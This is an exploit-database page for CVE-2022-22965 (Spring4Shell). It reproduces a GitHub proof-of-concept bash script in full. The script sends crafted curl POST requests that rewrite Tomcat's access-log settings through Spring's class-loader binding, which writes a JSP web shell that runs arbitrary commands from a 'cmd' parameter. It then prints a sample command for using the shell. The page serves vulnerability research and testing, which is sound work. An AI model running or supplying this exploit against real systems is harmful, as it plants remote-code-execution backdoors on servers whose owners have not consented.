Exploit database

GH-2007506b747566e5d97d7537a6bb649f

jakabakos/cve-2022-22965-spring4shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22965

88 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
jakabakos/cve-2022-22965-spring4shellRevision fe2f867e1fae

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Suggested starting fileShell · 3,724 bytes
#!/bin/bash

# Author: @jakabakos
# Based ob the work of @Rezn0K and @devengpk

run_exploit() {
    local url=$1
    local dir=$2

    # REQUEST #1
    echo "[*] Resetting log variables."

    response_code=$(curl -s -k --write-out '%{http_code}' -o /dev/null -X POST \
        -H 'Content-Type: application/x-www-form-urlencoded' \
        --data-binary 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_' \
        $url)

    echo "[*] Response code: ${response_code}."

    # REQUEST #2
    echo "[*] Changing the Tomcat log location variables."
    log_pattern="class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20"
    log_pattern+="java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter"
    log_pattern+="(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B"
    log_pattern+="%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix="class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_directory="class.module.classLoader.resources.context.parent.pipeline.first.directory=${dir}"
    log_file_prefix="class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell"
    log_file_date_format="class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    change_vars_data="${log_pattern}&${log_file_suffix}&${log_file_directory}&${log_file_prefix}&${log_file_date_format}"

    response_code=$(curl -s -k --write-out '%{http_code}' -o /dev/null -X POST \
        -H 'Content-Type: application/x-www-form-urlencoded' \
        --data-binary ${change_vars_data} \
        $url)

    echo "[*] Response code: ${response_code}."

    # Tomcat takes some time to populate changes.
    sleep 3

    # REQUEST #3
    echo "[*] Sending the web shell-writing packet."

    response_code=$(curl -s -k --write-out '%{http_code}' -o /dev/null -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
        -H 'prefix: <%' -H 'suffix: %>//' -H 'c: Runtime' \
        $url)

    echo "[*] Response code: ${response_code}."

    sleep 1

    # REQUEST #4
    echo "[*] Resetting log variables to prevent future writes into the file."

    response_code=$(curl -s -k --write-out '%{http_code}' -o /dev/null -X POST \
        -H 'Content-Type: application/x-www-form-urlencoded' \
        --data-binary 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=' \
        $url)

    echo "[*] Response code: ${response_code}."
}

main() {
    local full_url=$1
    local url=${url%/*}
    local dir="webapps/${2:-ROOT}"
    local filename=shell.jsp

    if [[ -z "$url" ]]; then
        echo "Must pass an option for --url!"
        return 1
    fi

    echo "Running exploit..."
    run_exploit "$full_url" "$dir"

    echo ""
    echo "[+] Exploit completed."

    if [[ "$dir" == "webapps/ROOT" ]]; then
        location="${url%/*}/${filename}"
    else
        location="${url}/${filename}"
    fi

    echo "[+] Example remote command:"
    echo "    curl ${location}?cmd=id -o -"
}

# Parsing command-line argument
if [[ $# -lt 1 ]]; then
    echo "Usage: $0 --url <target_url> [--dir <directory>]"
    echo "Eg:    $0 --url http://localhost/spring4shell/hello --dir spring4shell"
    exit 1
fi

url=""
dir=""

while [[ $# -gt 0 ]]; do
    case "$1" in
        --url)
            url="$2"
            shift 2
            ;;
        --dir)
            dir="$2"
            shift 2
            ;;
        *)
            echo "Invalid option: $1"
            exit 1
            ;;
    esac
done

main "$url" "$dir"